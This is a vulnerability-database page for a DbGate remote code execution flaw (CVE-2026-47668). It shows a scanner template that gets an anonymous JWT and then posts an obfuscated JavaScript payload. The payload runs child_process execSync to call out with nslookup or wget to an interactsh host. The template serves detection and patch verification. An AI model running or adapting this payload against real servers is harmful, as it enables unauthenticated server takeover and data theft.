DbGate - Remote Code Execution via Anonymous JWT
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| Exploit for CVE-2026-47668 | 31 Jul 202614:57 | – | githubexploit | |
| Exploit for CVE-2026-47668 | 26 May 202614:47 | – | githubexploit | |
| CVE-2026-47668 | 23 Jul 202617:34 | – | attackerkb | |
| The vulnerability of the JSON Script Runner component of the cross-platform application for viewing and modifying database data in the DbGate browser allows a perpetrator to execute arbitrary code. | 3 Aug 202600:00 | – | bdu_fstec | |
| CVE-2026-47668 | 20 May 202609:31 | – | circl | |
| CVE-2026-47668 | 23 Jul 202617:34 | – | cve | |
| CVE-2026-47668 DbGate: Unauthenticated Remote Code Execution via JSON Script Runner | 23 Jul 202617:34 | – | cvelist | |
| EUVD-2026-48340 | 23 Jul 202617:34 | – | euvd | |
| DbGate: Unauthenticated Remote Code Execution via JSON Script Runner | 5 Jun 202616:25 | – | github | |
| CVE-2026-47668 | 23 Jul 202618:16 | – | nvd |
10
id: CVE-2026-47668
info:
name: DbGate - Remote Code Execution via Anonymous JWT
author: benharvey-sage
severity: critical
description: |
DbGate contains a remote code execution vulnerability exploitable by unauthenticated attackers. The /auth/login endpoint issues anonymous JWT tokens without credentials, and the /runners/start endpoint accepts JavaScript payloads that execute via Node.js child_process, allowing arbitrary command execution on the server.
impact: |
An unauthenticated attacker can execute arbitrary system commands on the server with the privileges of the DbGate process, leading to full server compromise, data exfiltration from connected databases, lateral movement, and deployment of backdoors or ransomware.
remediation: |
Update DbGate to the latest patched version.
reference:
- https://www.cve.org/CVERecord?id=CVE-2026-47668
- https://github.com/dbgate/dbgate/security/advisories/GHSA-8v3q-9vmx-36vc
- https://github.com/dbgate/dbgate
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-47668
epss-score: 0.04339
epss-percentile: 0.9037
cwe-id: CWE-94
metadata:
verified: true
max-request: 2
vendor: dbgate
product: dbgate
shodan-query: http.title:"DbGate"
fofa-query: title="DbGate"
tags: cve,cve2026,dbgate,rce,oast,unauth
flow: http(1) && http(2)
http:
- raw:
- |
POST /auth/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"amoid":"none"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "accessToken")'
internal: true
condition: and
extractors:
- type: json
name: access_token
part: body
internal: true
json:
- '.accessToken'
- raw:
- |
POST /runners/start HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{access_token}}
Content-Type: application/json
{"script":{"type":"json","commands":[{"type":"assign","variableName":"x","functionName":"x;try{var m=process.mainModule;var r=m[\"req\"+\"uire\"];var n=[\"chi\",\"ld_\",\"pro\",\"ces\",\"s\"].join(\"\");var cp=r(n);var o=cp[\"exe\"+\"cSy\"+\"nc\"](\"nslookup {{interactsh-url}} || wget {{interactsh-url}}\").toString();}catch(e){};// ","props":{}}],"packageNames":[]}}
matchers:
- type: dsl
dsl:
- 'contains_any(interactsh_protocol, "dns", "http")'
condition: and
# digest: 4a0a0047304502204f3143b1ebf0646f8166eede368e7cf3dc8bd2aa091f707804edb668734546a9022100f876db06e0d62f20b5910aa47a677cbf100ee5fb22e22e5d9f969c6cacd31afd:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
20 May 2026 13:24Current
9.6High risk
Vulners AI Score9.6
CVSS 3.110
EPSS0.04339
SSVC